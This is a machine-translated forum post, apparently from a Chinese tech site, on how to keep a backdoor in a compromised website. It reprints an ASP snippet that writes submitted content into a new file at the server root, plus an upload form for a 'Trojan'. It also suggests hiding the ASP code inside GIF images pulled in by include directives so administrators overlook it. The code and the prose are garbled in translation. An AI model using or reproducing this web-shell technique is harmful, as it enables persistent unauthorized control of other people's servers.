Keep a web page

xiaoxiao2021-03-06 68

Leave the webpage back door again ~~ About smelling! I have no test success, I am more dull ~~ But I find that he is a good way!

Here is the original text in his tutorial: ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------- My inserted picture:

<% IF Request ("a") <> "" "Scripting.FileSystemObject" fdata = request ("a") set objcountfile = objfso.createtextfile (Server.MAppath ("/ kxlzx.asp "), True) ObjcountFile.write fdataend IF%>

This code is mainly to generate a kxlzx.asp file under the root directory. (I changed) The file content is data we submitted. Used with Request ("a").

This code is inserted into the picture.

Local yourself build a submission form One-way ASP file submission (joining the image file) Form text box Enter the content name is: A Form code:

Enter Trojan </ textarea> <br > <input type = "submit" value = "Submit" Name = "B1"> </ form> --------------------------- -----------------------------</p>
<p>I follow what he said, generate Trojans with tools, there is a lot of garbled things on the page. Isn't this not tapped? So, I have no success, but he is a good way! Anyway, as long as one sentence is in one sentence, it is okay in any ASP file, it is good! I remember that the ASP file was changed to GIF and then changed the invasion method. Now it is used in front, but it is not to change it back ~ Put <! - # include file = "aaa.gif" -> insert it in Get the same reason, think about it, popular construction procedures, there are popular forums, which one is not a gif lot? Let's put in a fake, who knows? ? ? The administrator will also be free to open hundreds of pictures and enjoy it slowly? Unless it is yellow ~~~~ huh! You only have to have the right to upload files, and change some of the ASP file content. We can perform the part of his tutorial. First of all, we got the Webshell, or changed a ASP leaf on some management background. Flexible use ~</p></div><div class="text-center mt-3 text-grey">
转载请注明原文地址:https://www.9cbs.com/read-90632.html</div><div class="plugin d-flex justify-content-center mt-3"></div><hr><div class="row"><div class="col-lg-12 text-muted mt-2"><i class="icon-tags mr-2"></i><span class="badge border border-secondary mr-2"><h2 class="h6 mb-0 small"><a class="text-secondary" href="tag-2.html">9cbs</a></h2></span></div></div></div></div><div class="card card-postlist border-white shadow"><div class="card-body"><div class="card-title"><div class="d-flex justify-content-between"><div><b>New Post</b>(<span class="posts">0</span>)
</div><div></div></div></div><ul class="postlist list-unstyled">

</ul></div></div><div class="d-none threadlist"><input type="checkbox" name="modtid" value="90632" checked /></div></div></div></div></div><footer class="text-muted small bg-dark py-4 mt-3" id="footer"><div class="container"><div class="row"><div class="col">CopyRight © 2020 All Rights Reserved

</div><div class="col text-right">Processed:
<b>0.034</b>, SQL:
                <b>9</b></div></div></div></footer><script src="./lang/en-us/lang.js?2.2.0"></script><script src="view/js/jquery.min.js?2.2.0"></script><script src="view/js/popper.min.js?2.2.0"></script><script src="view/js/bootstrap.min.js?2.2.0"></script><script src="view/js/xiuno.js?2.2.0"></script><script src="view/js/bootstrap-plugin.js?2.2.0"></script><script src="view/js/async.min.js?2.2.0"></script><script src="view/js/form.js?2.2.0"></script><script>
var debug = DEBUG = 0;
var url_rewrite_on = 1;
var url_path = './';
var forumarr = {"1":"Tech"};
var fid = 1;
var uid = 0;
var gid = 0;
xn.options.water_image_url = 'view/img/water-small.png';
</script><script src="view/js/wellcms.js?2.2.0"></script><a class="scroll-to-top rounded" href="javascript:void(0);"><i class="icon-angle-up"></i></a><a class="scroll-to-bottom rounded" href="javascript:void(0);" style="display: inline;"><i class="icon-angle-down"></i></a></body></html><script>
var forum_url = 'list-1.html';
var safe_token = 'eL9z_2B0FlUfYg0RAc5tp2pcpaewttBnCemRMKdNph2bypDHPb4W_2Fr2TajXDQG7ZdexrixrAKFaaPmJixVvxg9QQ_3D_3D';
var body = $('body');
body.on('submit', '#form', function() {
var jthis = $(this);
    var jsubmit = jthis.find('#submit');
jthis.reset();
jsubmit.button('loading');
var postdata = jthis.serializeObject();
$.xpost(jthis.attr('action'), postdata, function(code, message) {
if(code == 0) {
location.reload();
} else {
$.alert(message);
jsubmit.button('reset');
}
});
return false;
});

function resize_image() {
var jmessagelist = $('div.message');
var first_width = jmessagelist.width(); 
jmessagelist.each(function() {
var jdiv = $(this);
var maxwidth = jdiv.attr('isfirst') ? first_width : jdiv.width();
var jmessage_width = Math.min(jdiv.width(), maxwidth);
jdiv.find('img, embed, iframe, video').each(function() {
var jimg = $(this);
var img_width = this.org_width;
var img_height = this.org_height;
if(!img_width) {
var img_width = jimg.attr('width');
var img_height = jimg.attr('height');
this.org_width = img_width;
this.org_height = img_height;
}

if(img_width > jmessage_width) {
if(this.tagName == 'IMG') {
jimg.width(jmessage_width);
jimg.css('height', 'auto');
jimg.css('cursor', 'pointer');
jimg.on('click', function() {

});
} else {
jimg.width(jmessage_width);
var height = (img_height / img_width) * jimg.width();
jimg.height(height);
}
}
});
});
}

function resize_table() {
$('div.message').each(function() {
var jdiv = $(this);
jdiv.find('table').addClass('table').wrap('<div class="table-responsive"></div>'); 
});
}

$(function() {
resize_image();
resize_table();
$(window).on('resize', resize_image);
});

$('#nav li[data-active="fid-1"]').addClass('active');
</script>